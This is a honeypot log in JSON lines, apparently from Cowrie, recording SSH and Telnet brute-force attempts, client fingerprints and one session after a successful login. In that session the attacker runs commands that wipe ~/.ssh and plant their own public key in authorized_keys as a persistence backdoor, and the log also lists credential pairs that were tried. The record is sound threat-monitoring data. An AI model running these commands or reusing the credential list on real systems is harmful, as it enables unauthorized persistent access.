{"eventid":"cowrie.login.failed","username":"root","password":"user@123","message":"login attempt [root/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:31.893919Z","src_ip":"155.4.244.179","session":"25d53579c6b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:33.003363Z","src_ip":"155.4.244.179","session":"25d53579c6b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57738,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46586728500","protocol":"telnet","message":"New connection: 174.138.46.234:57738 (159.203.135.109:23) [session: e46586728500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:35.710557Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":48616,"dst_ip":"10.17.0.5","dst_port":22,"session":"983d611b0263","protocol":"ssh","message":"New connection: 209.99.189.177:48616 (10.17.0.5:22) [session: 983d611b0263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:36.930725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:36.936046Z","src_ip":"209.99.189.177","session":"983d611b0263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:37.066690Z","src_ip":"209.99.189.177","session":"983d611b0263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"server1","message":"login attempt [server1/server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:37.614579Z","src_ip":"209.99.189.177","session":"983d611b0263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:38.747120Z","src_ip":"209.99.189.177","session":"983d611b0263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.29055643081665,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:43.000991Z","src_ip":"174.138.46.234","session":"e46586728500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59582,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e705543da75","protocol":"telnet","message":"New connection: 5.196.58.99:59582 (10.17.0.5:23) [session: 3e705543da75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:44.522021Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24764,"dst_ip":"159.203.135.109","dst_port":22,"session":"edaf91c396fc","protocol":"ssh","message":"New connection: 194.59.206.2:24764 (159.203.135.109:22) [session: edaf91c396fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:09.085314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:09.089867Z","src_ip":"194.59.206.2","session":"edaf91c396fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:09.175978Z","src_ip":"194.59.206.2","session":"edaf91c396fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:09.269027Z","src_ip":"194.59.206.2","session":"edaf91c396fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.529735565185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:15.051639Z","src_ip":"5.196.58.99","session":"3e705543da75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":32772,"dst_ip":"10.17.0.5","dst_port":22,"session":"13ac66adb762","protocol":"ssh","message":"New connection: 155.4.244.179:32772 (10.17.0.5:22) [session: 13ac66adb762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:32.179178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:32.184522Z","src_ip":"155.4.244.179","session":"13ac66adb762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:32.289232Z","src_ip":"155.4.244.179","session":"13ac66adb762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver4","password":"gmodserver4","message":"login attempt [gmodserver4/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:33.207356Z","src_ip":"155.4.244.179","session":"13ac66adb762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:34.315019Z","src_ip":"155.4.244.179","session":"13ac66adb762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:48.287335Z","src_ip":"31.56.209.38","session":"1c417e6e7de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45502,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b8cac3e2f76","protocol":"telnet","message":"New connection: 20.123.41.163:45502 (10.17.0.5:23) [session: 9b8cac3e2f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:48.617576Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:48.828569Z","src_ip":"31.56.209.38","session":"8d7588ec564e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54246,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b3336320f19","protocol":"telnet","message":"New connection: 174.138.46.234:54246 (159.203.135.109:23) [session: 7b3336320f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:59.369935Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54320,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3dc9bd30396","protocol":"telnet","message":"New connection: 174.138.46.234:54320 (159.203.135.109:23) [session: c3dc9bd30396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:22:59.610577Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54788,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3754d87d16f","protocol":"telnet","message":"New connection: 174.138.46.234:54788 (159.203.135.109:23) [session: f3754d87d16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:01.282243Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54084,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d6084250d19","protocol":"telnet","message":"New connection: 174.138.46.234:54084 (159.203.135.109:23) [session: 2d6084250d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:01.880808Z"}
{"eventid":"cowrie.session.closed","duration":4.038581609725952,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:05.919216Z","src_ip":"174.138.46.234","session":"2d6084250d19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.977252721786499,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:06.347049Z","src_ip":"174.138.46.234","session":"7b3336320f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.924197673797607,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:07.206329Z","src_ip":"174.138.46.234","session":"f3754d87d16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.003685474395752,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:07.614125Z","src_ip":"174.138.46.234","session":"c3dc9bd30396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":34591,"dst_ip":"10.17.0.5","dst_port":22,"session":"23be45e305c9","protocol":"ssh","message":"New connection: 185.48.213.208:34591 (10.17.0.5:22) [session: 23be45e305c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:10.596618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:10.601072Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:10.719051Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"test","message":"login attempt [steam/test] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:11.221162Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:11.501180Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:11.504937Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:11.508862Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:11.629580Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:11.914231Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:11.917572Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:12.041307Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:12.045692Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":53390,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac89ece5f172","protocol":"ssh","message":"New connection: 185.48.213.208:53390 (10.17.0.5:22) [session: ac89ece5f172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:12.157548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:12.162674Z","src_ip":"185.48.213.208","session":"ac89ece5f172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:12.283127Z","src_ip":"185.48.213.208","session":"ac89ece5f172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:12.794935Z","src_ip":"185.48.213.208","session":"ac89ece5f172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:13.918369Z","src_ip":"185.48.213.208","session":"ac89ece5f172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":35268,"dst_ip":"10.17.0.5","dst_port":22,"session":"de2aab1bab8f","protocol":"ssh","message":"New connection: 185.48.213.208:35268 (10.17.0.5:22) [session: de2aab1bab8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:14.032491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:14.037560Z","src_ip":"185.48.213.208","session":"de2aab1bab8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-